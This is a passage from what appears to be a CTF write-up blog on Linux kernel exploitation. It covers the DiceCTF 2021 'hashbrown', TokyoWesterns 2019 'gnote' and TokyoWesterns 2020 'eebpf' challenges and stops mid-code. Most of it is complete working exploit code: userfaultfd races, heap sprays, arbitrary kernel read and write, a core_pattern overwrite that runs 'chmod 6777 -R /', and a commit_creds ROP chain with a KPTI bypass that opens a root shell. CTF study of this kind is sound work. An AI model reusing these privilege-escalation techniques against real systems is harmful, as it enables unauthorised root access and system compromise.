  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) {
    fatal("ioctl(UFFDIO_API)");
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) {
    fatal("ioctl(UFFDIO_REGISTER)");
  }

  if (pthread_create(&th, NULL, handler, (void*)(uint64_t)uffd) < 0) {
    fatal("pthread_create");
  }

  return uffd;
}

#define VULN_DEV_NAME "hashbrown"

#define VULN_DEV_CMD_ADD_KEY 0x1337
#define VULN_DEV_CMD_DELETE_KEY 0x1338
#define VULN_DEV_CMD_UPDATE_VALUE 0x1339
#define VULN_DEV_CMD_DELETE_VALUE 0x133a
#define VULN_DEV_CMD_GET_VALUE 0x133b

#define VULN_DEV_CONST_SIZE_ARR_START 0x10
#define VULN_DEV_CONST_SIZE_ARR_MAX 0x200
#define VULN_DEV_CONST_MAX_ENTRIES 0x400
#define VULN_DEV_CONST_MAX_VALUE_SIZE 0xb0
#define VULN_DEV_GET_THRESHOLD(size) (size - (size >> 2))

#define VULN_DEV_RESULT_INVALID 1
#define VULN_DEV_RESULT_EXISTS 2
#define VULN_DEV_RESULT_NOT_EXISTS 3
#define VULN_DEV_RESULT_MAXED 4

typedef struct {
  uint32_t key;
  uint32_t size;
  char* src;
  char* dest;
} request_t;

static int vuln_dev_add_key(uint32_t key, void* src, uint32_t size);
static int vuln_dev_delete_key(uint32_t key);
static int vuln_dev_update_value(uint32_t key, void* src, uint32_t size);
static int vuln_dev_delete_value(uint32_t key);
static int vuln_dev_get_value(uint32_t key, void* out, uint32_t size);

static uint32_t get_hash_idx_from_key(uint32_t key, uint32_t size);
static void calculate_hash_collision(uint32_t* out, size_t out_size,
                                     uint32_t hash, uint32_t size);

int vuln_fd = 0;
static int vuln_dev_add_key(uint32_t key, void* src, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = (char*)src, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD_KEY, &req);
}
static int vuln_dev_delete_key(uint32_t key) {
  request_t req = {.key = key, .size = 0, .src = NULL, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DELETE_KEY, &req);
}
static int vuln_dev_update_value(uint32_t key, void* src, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = (char*)src, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_UPDATE_VALUE, &req);
}
static int vuln_dev_delete_value(uint32_t key) {
  request_t req = {.key = key, .size = 0, .src = NULL, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DELETE_VALUE, &req);
}
static int vuln_dev_get_value(uint32_t key, void* dest, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = NULL, .dest = (char*)dest};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET_VALUE, &req);
}

static uint32_t get_hash_idx_from_key(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key >> 20) ^ (key >> 12);
  hash = key ^ (key >> 7) ^ (key >> 4);
  return hash & (size - 1);
}
static void calculate_hash_collision(uint32_t* out, size_t out_size,
                                     uint32_t hash, uint32_t size) {
  if (hash >= size) {
    fatal("calculate_hash_collision: hash >= size");
  }

  uint32_t* p = out;
  const uint32_t* const last_p = p + out_size;
  for (uint32_t cur_key = 0; cur_key <= 0xffffffff; ++cur_key) {
    const uint32_t cur_hash = get_hash_idx_from_key(cur_key, size);
    if (cur_hash != hash) {
      continue;
    }
    *p++ = cur_key;
    if (p == last_p) {
      break;
    }
  }
}

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define IS_IN_KERNEL_BASE_RANGE(x) \
  (KERNEL_BASE_START <= (x) && (x) <= KERNEL_BASE_END)
#define KERNEL_MODULE_START 0xffffffffc0000000

#define KERNEL_MODPROBE_OFFSET (0xa46fe0)
#define KERNEL_CORE_PATTERN_OFFSET (0xb0cd00)
#define KERNEL_START_SYMTAB_OFFSET (0x990940)
#define KERNEL_MODULE_HASHMAP_OFFSET (0x2540)

static void entry_spray(uint32_t idx, void* data, size_t size);
static void* pthread_entry_spray(void* arg);

static uint64_t construct_corrupted_entry();

static uint64_t leak_heap_address();

static void aar(void* out, uint64_t addr, size_t size);
static void aaw(uint64_t addr, void* data, size_t size);
static uint64_t aar64(uint64_t addr);
static void aaw64(uint64_t addr, uint64_t val);

static uint64_t find_kernel_address(uint64_t heap_addr);
static uint64_t find_module_base();
static uint64_t find_core_pattern_address(uint64_t kernel_addr);

static void entry_spray(uint32_t idx, void* data, size_t size) {
  uint32_t keys[512];
  calculate_hash_collision(keys, 512, idx, VULN_DEV_CONST_SIZE_ARR_MAX);
  for (int i = 0; i < 512; ++i) {
    vuln_dev_add_key(keys[i], data, size);
  }
}
static void* pthread_entry_spray(void* arg) {
  uint32_t idx = *(uint32_t*)(arg);
  void* data = (void*)*(uint64_t*)(arg + 8);
  size_t size = *(size_t*)(arg + 16);
  uint32_t keys[512];
  entry_spray(idx, data, size);
}

cpu_set_t target_cpu;
uint32_t collision_keys[VULN_DEV_CONST_SIZE_ARR_MAX];
static void* userfault_handler_for_construct_fake_entry(void* args) {
  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal("userfault_handler_for_construct_fake_entry: mmap");
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  // puts(
  //     "[*] userfault_handler_for_construct_fake_entry: waiting for page "
  //     "fault...");
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&pollfd, 1, -1) > 0) {
    if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
      fatal("userfault_handler_for_construct_fake_entry: poll");
    }

    if (read(uffd, &msg, sizeof(msg)) <= 0) {
      fatal("userfault_handler_for_construct_fake_entry: read(uffd)");
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          "userfault_handler_for_construct_fake_entry: msg.event != "
          "UFFD_EVENT_PAGEFAULT");
    }

    // printf(
    //     "[*] userfault_handler_for_construct_fake_entry: addr=0x%llx, "
    //     "flag=0x%llx\n",
    //     msg.arg.pagefault.address, msg.arg.pagefault.flags);

    // Main Routine
    puts("[+] UFFD: Deleting values...");
    uint32_t cur_size = VULN_DEV_CONST_SIZE_ARR_MAX / 2;
    uint32_t cur_threshold = VULN_DEV_GET_THRESHOLD(cur_size);
    for (int i = 0; i <= cur_threshold + 1; ++i) {
      vuln_dev_delete_value(collision_keys[i]);
    }
    copy.src = (uint64_t)page;  // data of page will be data of faulted page

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &copy) < 0) {
      fatal("userfault_handler_for_construct_fake_entry: ioctl(UFFDIO_COPY)");
    }
    break;
  }

  munmap(page, 0x1000);
  return NULL;
}

static uint64_t construct_corrupted_entry() {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  memset(data, 'a', 0x20);
  uint32_t target_idx = 0;
  uint32_t cur_size = VULN_DEV_CONST_SIZE_ARR_MAX / 2;
  uint32_t cur_threshold = VULN_DEV_GET_THRESHOLD(cur_size);
  calculate_hash_collision(collision_keys, 512, target_idx,
                           VULN_DEV_CONST_SIZE_ARR_MAX);

  puts("[*] Adding keys...");
  for (int i = 0; i < cur_threshold; ++i) {
    vuln_dev_add_key(collision_keys[i], data, sizeof(data));
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  int uffd = register_uffd(uffd_page, 0x1000,
                           userfault_handler_for_construct_fake_entry);

  puts("[*] Trigger `resize` and deleting values...");
  vuln_dev_add_key(collision_keys[cur_threshold + 1], uffd_page, sizeof(data));

  puts("[*] Spraying entries...");
  {
    entry_spray(1, data, 0x20);
    pthread_t th;
    uint64_t arg[3] = {2, (uint64_t)data, 0x20};
    pthread_create(&th, NULL, pthread_entry_spray, arg);
    pthread_join(th, NULL);
  }

  puts("[*] Checking there is a corrupted entry...");
  uint64_t entry_key = -1, backing_key = -1;
  for (int i = 0; i <= cur_threshold + 1; ++i) {
    uint32_t cur_key = collision_keys[i];
    vuln_dev_get_value(collision_keys[i], data, 0x20);
    if (*uint64_data == 0x6161616161616161 || (*uint64_data >> 32) != 0x20) {
      continue;
    }

    entry_key = cur_key;
    backing_key = (*uint64_data) & 0xffffffff;
    break;
  }

  close(uffd);
  munmap(uffd_page, 0x1000);

  return (entry_key << 32) | backing_key;
}

uint32_t controller_key, backing_key;
uint64_t original_backing_ptr;
static uint64_t leak_heap_address() {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  vuln_dev_get_value(controller_key, data, 0x20);
  return uint64_data[1];
}
static void aar(void* dest, uint64_t addr, size_t size) {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  uint64_data[0] = ((size & 0xffffffff) << 32) | backing_key;
  uint64_data[1] = addr;
  vuln_dev_update_value(controller_key, data, 0x10);
  vuln_dev_get_value(backing_key, dest, size);
}
static void aaw(uint64_t addr, void* src, size_t size) {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  uint64_data[0] = ((size & 0xffffffff) << 32) | backing_key;
  uint64_data[1] = addr;
  vuln_dev_update_value(controller_key, data, 0x10);
  vuln_dev_update_value(backing_key, src, size);
}
static uint64_t aar64(uint64_t addr) {
  uint64_t val = -1;
  aar(&val, addr, 8);
  return val;
}
static void aaw64(uint64_t addr, uint64_t val) { return aaw(addr, &val, 8); }

static uint64_t find_kernel_address(uint64_t heap_addr) {
  char data[0x1000];
  uint64_t* uint64_data = (uint64_t*)data;
  int sprays[0x1000];
  for (int i = 0; i < 0x1000; ++i) {
    sprays[i] = open("/proc/self/stat", O_RDONLY);
  }

  uint64_t addr = heap_addr - 0x8000;
  uint64_t ret = -1;
  while (addr <= heap_addr + 0x8000) {
    uint64_t val = aar64(addr);
    if (IS_IN_KERNEL_BASE_RANGE(val)) {
      ret = val;
      break;
    }
    addr += 8;
  }

  for (int i = 0; i < 0x1000; ++i) {
    close(sprays[i]);
  }
  return ret;
}
static uint64_t find_module_base() {
  uint64_t addr = KERNEL_MODULE_START;
  while (addr <= KERNEL_MODULE_START + 0x10000 * 0x1000) {
    uint64_t val = aar64(addr);
    if (val != -1) {
      return addr;
    }
    addr += 0x1000;
  }
}
static uint64_t find_core_pattern_address(uint64_t kernel_addr) {
  char data[0x20];
  uint64_t maybe_kernel_base = kernel_addr & ~0xfffff;
  uint64_t maybe_core_pattern_addr =
      maybe_kernel_base + KERNEL_CORE_PATTERN_OFFSET;
  uint64_t core_pattern_addr = -1;
  while (core_pattern_addr == -1) {
    aar(data, maybe_core_pattern_addr, 0x20);
    if (!strcmp(data, "core")) {
      core_pattern_addr = maybe_core_pattern_addr;
    }
    maybe_core_pattern_addr -= 0x100000;
  }
  return core_pattern_addr;
}

int main() {
  vuln_fd = open("/dev/" VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd < 0) {
    fatal("open(/dev/" VULN_DEV_NAME ")");
  }

  uint64_t entry_key_and_backing_key = construct_corrupted_entry();
  controller_key = entry_key_and_backing_key >> 32;
  backing_key = entry_key_and_backing_key & 0xffffffff;
  original_backing_ptr = leak_heap_address();
  printf(
      "[+] Find corrupted entry! (controller_key=0x%08x, "
      "backing_key=0x%08x; backing_ptr=0x%016lx)\n",
      controller_key, backing_key, original_backing_ptr);

  uint64_t kernel_address = find_kernel_address(original_backing_ptr);
  printf("[+] kernel_address(not base): 0x%016lx\n", kernel_address);
  uint64_t module_base = find_module_base();
  printf("[+] module_base: 0x%016lx\n", module_base);
  uint64_t core_pattern_address = find_core_pattern_address(kernel_address);
  printf("[+] core_pattern_address: 0x%016lx\n", core_pattern_address);
  uint64_t kernel_base = core_pattern_address - KERNEL_CORE_PATTERN_OFFSET;
  printf("[+] kernel_base: 0x%016lx\n", kernel_base);

  char new_core_pattern[] = "|/bin/chmod 6777 -R /";
  printf("[*] Overwrite core_pattern to \"%s\"...\n", new_core_pattern);
  aaw(core_pattern_address, new_core_pattern, sizeof(new_core_pattern));

  puts("[*] Trigger core_pattern...");
  uint64_t* evil = (uint64_t*)0xdeadbeefcafebebe;
  *evil = 0;

  return 0;
}

Reference

https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/DiceCTF/2021/pwn/hashbrown

TokyoWesternsCTF2019 gnote

Thu, 30 Jan 2025 14:39:40 +0000

Problem

Environment

linux version: 4.19.65
mmap_min_addr: 0x1000
No SMAP

Module

c TokyoWesternsCTF2019-gnote-features.c

      typedef struct request_t {
  uint32_t cmd;
  uint32_t arg;
} request_t;

int64_t gnote_write(struct file *a1, const request_t *req, size_t a3,
                    loff_t *a4) {
  uint64_t len;
  note_data_t *req;
  void *new_note_data;

  mutex_lock(&lock);
  switch (req->cmd) {
    case 1:
      if ((uint64_t)cnt <= 7) {
        len = (uint32_t)req->arg;
        cur_note = &notes[cnt];
        cur_note->len = len;
        if (len <= 0x10000) {
          new_note_data = kmalloc(len, 0x6000C0LL);
          ++cnt;
          cur_note->data = new_note_data;
        }
      }
      break;
    case 2:
      printk("Edit Not implemented\n");
      break;
    case 3:
      printk("Delete Not implemented\n");
      break;
    case 4:
      printk("Copy Not implemented\n");
      break;
    case 5:
      if ((uint32_t)req->arg < (uint64_t)cnt) selected = (uint32_t)req->arg;
      break;
    default:
      break;
  }
  mutex_unlock(&lock);
  return a3;
}

uint64_t gnote_read(struct file *a1, char *a2, size_t len, loff_t *a4) {
  note_data_t *cur_note;

  mutex_lock(&lock);
  if (selected == -1) {
    mutex_unlock(&lock);
    return 0LL;
  } else {
    cur_note = &notes[selected];
    if (cur_note->len <= len) len = cur_note->len;
    copy_to_user(a2, cur_note->data, len);
    selected = -1LL;
    mutex_unlock(&lock);
    return len;
  }
}

The gnote module has just 3 features: add new note, select note and get note’s content. But with these features, we cannot write content to note (Edit is not implemented…).

Vulnerability

There are two vulnerabilities. First is uninitialized heap and second is double fetch bug in switch statement.

Uninitialized heap

When we add note, because the module just use kmalloc (note that kmalloc does not clear its data), we can get the previous content of allocated chunk. Therefore if the chunk was used to store vtable and the address of vtable is not cleared by SLUB or other object, we can get it.

Double fetch in switch statement

I think this is main bug of this challenge. As we know, sometimes switch statement use jump table for a speed (optimization). And the switch statement of gnote_write is implemented by jump table. But, its index (key) is obtained in user space:

gnote_write:
  ; ...
  mov     rbx, rsi; rsi is const request_t __user *buf
  mov     r12, rdx
  call    mutex_lock
  cmp     dword ptr [rbx], 5 ; rbx is const request_t __user *buf
  ja      short DEFAULT_CASE
  mov     eax, [rbx]
  mov     rax, JUMP_TABLE[rax*8]; == mov rax, QWORD PTR [rax*8 - off] where 0x3fffef68 <= off <= 0x3effff68
  jmp     __x86_indirect_thunk_rax
  ; ...

The index (key) is double-fetched from user by cmp dword ptr [rbx], 5 and mov eax, [rbx]. So if [rbx] is smaller or equal than 5 when executeing cmp dword ptr [rbx], 5 and set [rbx] to other value before mov eax, [rbx], we can use relatively arbitrary address like jump table.

Exploit

Leak kernel base

I explained above, we can leak kernel base using uninitialized heap chunk. For leaking kernel base, I use heap spray with “/dev/ptmx” (tty_struct) (see leak_kernel_base function).

Exploit switch(__x86_indirect_thunk_rax) using double fetch

We can write a code which cause crash because of invalid jump table index (key) (see jump_at_jump_table_idx, race1 and race2). However… there is not useful address in (ro)data segment of module…

I could not find the way to exploit double fetch. So I just look the assembly instructions of switch statements:

gnote_write:
  ; ...
  mov     eax, [rbx]
  mov     rax, JUMP_TABLE[rax*8]; == mov rax, QWORD PTR [rax*8 - off] where 0x3fffef68 <= off <= 0x3effff68
  jmp     __x86_indirect_thunk_rax
  ; ...

Do you notice it? the target address of jump table is calulated by key*8 - off and off is changed depending on base address of module (off = -(module_base + 0x1098)). Let’s consider off is 0x3fffef68 (this means module_base is 0xffffffffc0000000). In this assumption if rax, index (key) of jump table, is 0x7fffded, key*8 - off is 0!! So, we can access address 0 and use it as jump table!!

In given environment, SMAP is disabled. Therefore we can use stack pivoting with mmaped page with MAP_FIEXED | MAP_POPULATE. Since mmap_min_addr is 0x1000 and the minimum key for non-negative result is 0x3fffef68, I think 0x200 + 0x7fffded is best for a fixed key.

Exploit code

Because we cannot mmap with size = 0x1000000, I mmap with size = 0x400000. So, the success rate of this exploit code is 25%.

c TokyoWesternsCTF2019-gnote-exploit.c

      #define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define VULN_DEV_WRITE_CMD_ADD 1
#define VULN_DEV_WRITE_CMD_SELECT 5
#define VULN_DEV_WRITE_CMD_MAX 6
#define VULN_DEV_MAX_NOTE_COUNT 8

#define VULN_DEV_RELATIVE_IDX_OF_NOTES_TO_JUMP_TABLE 0x26d
#define FAKE_JUMP_TABLE_ADDR ((void*)0x1000)
#define FAKE_JUMP_TABLE_SIZE 0x400000
#define FAKE_STACK_ADDR ((void*)0x5d000000)
#define FAKE_STACK_SIZE 0x6000
#define FAKE_RSP (FAKE_STACK_ADDR + 5)

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define IS_KERNEL_BASE(x) \
  ((KERNEL_BASE_START <= (x)) && ((x) <= KERNEL_BASE_END))
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81a35260 - KERNEL_BASE_START)
#define MOV_ESP_0x5d000005_OFFSET (0xffffffff811f2bba - KERNEL_BASE_START)
#define POP_RDI_OFFSET (0xffffffff8101c20d - KERNEL_BASE_START)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81069fe0 - KERNEL_BASE_START)
#define POP_RCX_OFFSET (0xffffffff81037523 - KERNEL_BASE_START)
#define MOV_RDI_RAX_REQ_MOV_RDI_RSI_POP_RBP_OFFSET \
  (0xffffffff81018eef - KERNEL_BASE_START)
#define COMMIT_CREDS_OFFSET (0xffffffff81069df0 - KERNEL_BASE_START)
#define BYPASS_KPTI_OFFSET (0xffffffff81600a4a - KERNEL_BASE_START)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue("Press enter to exit...");
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts("[+] Get shell!");
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}

typedef struct request_t {
  uint32_t cmd;
  uint32_t arg;
} request_t;

int vuln_fd;
int vuln_dev_added_count = 0;
void vuln_dev_add(uint64_t size) {
  ++vuln_dev_added_count;
  request_t req = {.cmd = VULN_DEV_WRITE_CMD_ADD, .arg = size};
  write(vuln_fd, &req, sizeof(req));
}
void vuln_dev_select(uint64_t idx) {
  request_t req = {.cmd = VULN_DEV_WRITE_CMD_SELECT, .arg = idx};
  write(vuln_fd, &req, sizeof(req));
}

void* page_buf;
request_t* page_req;
cpu_set_t cpus[2];

uint64_t leak_kernel_base() {
  for (int cur_try = 0; cur_try <= VULN_DEV_MAX_NOTE_COUNT; ++cur_try) {
    int spray_fds[0x10];
    const int spray_obj_size = 0x2e0;
    const int spray_obj_count = sizeof(spray_fds) / sizeof(int);
    const int middle_idx = spray_obj_count / 2;
    for (int i = 0; i < spray_obj_count; ++i) {
      spray_fds[i] = open("/dev/ptmx", O_NOCTTY | O_RDONLY);
    }
    for (int i = 0; i < middle_idx; ++i) {
      close(spray_fds[i]);
    }
    vuln_dev_add(spray_obj_size);
    for (int i = middle_idx; i < spray_obj_count; ++i) {
      close(spray_fds[i]);
    }

    vuln_dev_select(cur_try);
    read(vuln_fd, page_buf, spray_obj_size);
    uint64_t maybe_tty_struct_ops = *(uint64_t*)(page_buf + 0x18);
    uint64_t maybe_kbase = maybe_tty_struct_ops - TTY_STRUCT_OPS_OFFSET;
    if ((maybe_kbase & 0xfffff) == 0 && IS_KERNEL_BASE(maybe_kbase)) {
      return maybe_kbase;
    }
  }

  return (uint64_t)-1;
}

int do_race = 0;
int jump_table_idx;
void* race1(void* arg) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), arg)) {
    fatal("sched_setaffinity");
  }
  while (do_race) {
    page_req->cmd = VULN_DEV_WRITE_CMD_SELECT;
  }
}
void* race2(void* arg) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), arg)) {
    fatal("sched_setaffinity");
  }
  const uint64_t const_jump_table_idx = jump_table_idx;
  while (do_race) {
    page_req->cmd = const_jump_table_idx;
  }
}

void jump_at_jump_table_idx() {
  pthread_t th1;
  pthread_create(&th1, NULL, race1, &cpus[1]);
  pthread_t th2;
  pthread_create(&th2, NULL, race2, &cpus[1]);
  do_race = 1;
  page_req->arg = 0;
  while (1) {
    page_req->cmd = VULN_DEV_WRITE_CMD_SELECT;
    write(vuln_fd, page_buf, 0x1000);
  }
}

int main() {
  for (int i = 0; i < 2; ++i) {
    CPU_ZERO(&cpus[i]);
    CPU_SET(i, &cpus[i]);
  }
  if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus[0])) {
    fatal("sched_setaffinity");
  }

  save_state();

  vuln_fd = open("/proc/gnote", O_RDWR);
  if (vuln_fd < 0) {
    fatal("open(/proc/gnote)");
  }

  page_buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page_buf == MAP_FAILED) {
    fatal("mmap");
  }
  page_req = (request_t*)page_buf;
  printf("[*] page_buf addr: %p\n", page_buf);

  uint64_t kernel_base = leak_kernel_base();
  printf("[+] kernel_base: 0x%016lx\n", kernel_base);

  void* fake_jump_table =
      mmap(FAKE_JUMP_TABLE_ADDR, FAKE_JUMP_TABLE_SIZE, PROT_READ | PROT_WRITE,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_POPULATE, -1, 0);
  if (fake_jump_table == MAP_FAILED) {
    fatal("mmap");
  }
  for (uint64_t* cur = fake_jump_table;
       (void*)cur < fake_jump_table + FAKE_JUMP_TABLE_SIZE; ++cur) {
    *cur = kernel_base + MOV_ESP_0x5d000005_OFFSET;
  }
  printf("[*] fake_jump_table addr: %p\n", fake_jump_table);

  void* fake_stack =
      mmap(FAKE_STACK_ADDR - FAKE_STACK_SIZE / 2, FAKE_STACK_SIZE,
           PROT_READ | PROT_WRITE,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_POPULATE, -1, 0);
  if (fake_stack == MAP_FAILED) {
    fatal("mmap");
  }
  printf("[*] fake_stack addr: %p\n", fake_stack);

  printf("[*] Build ROP Chain @ %p...\n", fake_stack);
  uint64_t* rop_buf = FAKE_RSP;
  *rop_buf++ = kernel_base + POP_RDI_OFFSET;
  *rop_buf++ = 0;
  *rop_buf++ = kernel_base + PREPARE_KERNEL_CRED_OFFSET;
  *rop_buf++ = kernel_base + POP_RCX_OFFSET;
  *rop_buf++ = 0;
  *rop_buf++ = kernel_base + MOV_RDI_RAX_REQ_MOV_RDI_RSI_POP_RBP_OFFSET;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = kernel_base + COMMIT_CREDS_OFFSET;
  *rop_buf++ = kernel_base + BYPASS_KPTI_OFFSET;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = 0xdeadbeefcafebe02;
  *rop_buf++ = (uint64_t)(get_shell);  // user_rip
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);

  jump_table_idx = 0x200 + 0x7fffded;
  printf("[*] jump_table_idx: 0x%08x\n", jump_table_idx);
  puts("[*] Do race condition attack at jump table used in switch...");
  jump_at_jump_table_idx();

  close(vuln_fd);
  return 0;
}

Reference

https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2019/gnote

TokyoWesternsCTF2020 eebpf

Tue, 28 Jan 2025 11:21:15 +0000

Problem

Environment

kernel version: 5.4.58
unprivileged_bpf_disabled: 0

Patch file

The important part is following:

diff TokyoWesternsCTF2020-eebpf-patch.diff

      diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/include/uapi/linux/bpf.h buildroot-2020.08-rc3_original/output/build/linux-5.4.58/include/uapi/linux/bpf.h
27d26
< #define BPF_ALSH	0xe0	/* sign extending arithmetic shift left */
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/tnum.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/tnum.c
42,52d41
< struct tnum tnum_alshift(struct tnum a, u8 min_shift, u8 insn_bitness)
< {
< 	if (insn_bitness == 32)
< 		//Never reach here now.
< 		return TNUM((u32)(((s32)a.value) << min_shift),
< 			    (u32)(((s32)a.mask)  << min_shift));
< 	else
< 		return TNUM((s64)a.value << min_shift,
< 			    (s64)a.mask  << min_shift);
< }
< 
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/verifier.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/verifier.c
4867,4897d4866
< 	case BPF_ALSH:
< 		if (umax_val >= insn_bitness) {
< 			/* Shifts greater than 31 or 63 are undefined.
< 			 * This includes shifts by a negative number.
< 			 */
< 			mark_reg_unknown(env, regs, insn->dst_reg);
< 			break;
< 		}
< 
< 		/* Upon reaching here, src_known is true and
< 		 * umax_val is equal to umin_val.
< 		 */
< 		if (insn_bitness == 32) {
< 			//Now we don't support 32bit. Cuz im too lazy.
< 			mark_reg_unknown(env, regs, insn->dst_reg);
< 			break;
< 		} else {
< 			dst_reg->smin_value <<= umin_val;
< 			dst_reg->smax_value <<= umin_val;
< 		}
< 
< 		dst_reg->var_off = tnum_alshift(dst_reg->var_off, umin_val,
< 						insn_bitness);
< 
< 		/* blow away the dst_reg umin_value/umax_value and rely on
< 		 * dst_reg var_off to refine the result.
< 		 */
< 		dst_reg->umin_value = 0;
< 		dst_reg->umax_value = U64_MAX;
< 		__update_reg_bounds(dst_reg);
< 		break;

And related location is following:

Vulnerability

As we can see, when we use BPF_ALSH, dst_reg->smin_value <<= umin_val; dst_reg->smax_value <<= umin_val; is executed. And because type of smin_value and smax_value is s64, we can make smin_value > smax_value.

Exploit

Making invalid range

My step for making invalid range is following:

Load element from bpf_map (we call it e)
1. Its actual value is 1.
2. Its tnum may be (.val=0, .mask=0xffffffffffffffff).
Do e & 0x1fffffffffffffff.
1. Its actual value is 1.
2. Its tnum may be (.val=0, .mask=0x1fffffffffffffff).
Do left shift to e by 3.
1. Its actual value is 8.
2. Its tnum may be (.val=0, .mask=0xfffffffffffffff8).
3. Its min and max value is 0 and 0xfffffffffffffff8.
Add 8 to e.
1. It actual value is 0x10.
2. Its min and max value is 8 and 0.
  1. Explained later.
Add (.val=0, .mask=8; min=0, max=8) to e.
1. Now e has (actual_value, verification_value) = (0x10, 8).
Substract 8 from e.
1. Now e has (act_val, veri_val) = (8, 0).

Why `e`+=8 does make min=8, max=0 ??

First, we check related functions (codes):

c TokyoWesternsCTF2020-eebpf-addition_code_path.c

      // @ https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L4600
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                      struct bpf_insn *insn,
                                      struct bpf_reg_state *dst_reg,
                                      struct bpf_reg_state src_reg) {
    // ...

  case BPF_ADD:
    ret = sanitize_val_alu(env, insn);
    if (ret < 0) {
      verbose(env, "R%d tried to add from different pointers or scalars\n",
              dst);
      return ret;
    }
    if (signed_add_overflows(dst_reg->smin_value, smin_val) ||
        signed_add_overflows(dst_reg->smax_value, smax_val)) {
      // ...
    } else {
      dst_reg->smin_value += smin_val;
      dst_reg->smax_value += smax_val;
    }
    if (dst_reg->umin_value + umin_val < umin_val ||
        dst_reg->umax_value + umax_val < umax_val) {
      dst_reg->umin_value = 0;
      dst_reg->umax_value = U64_MAX;
    } else {
      // ...
    }
    dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
    break;

    // ...

    __reg_deduce_bounds(dst_reg);
    __reg_bound_offset(dst_reg);
    return 0;
}

// @ https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/tnum.c#L62
struct tnum tnum_add(struct tnum a, struct tnum b) {
  u64 sm, sv, sigma, chi, mu;

  sm = a.mask + b.mask;
  sv = a.value + b.value;
  sigma = sm + sv;
  chi = sigma ^ sv;
  mu = chi | a.mask | b.mask;
  return TNUM(sv & ~mu, mu);
}

// @ https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L939
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg_deduce_bounds(struct bpf_reg_state *reg) {
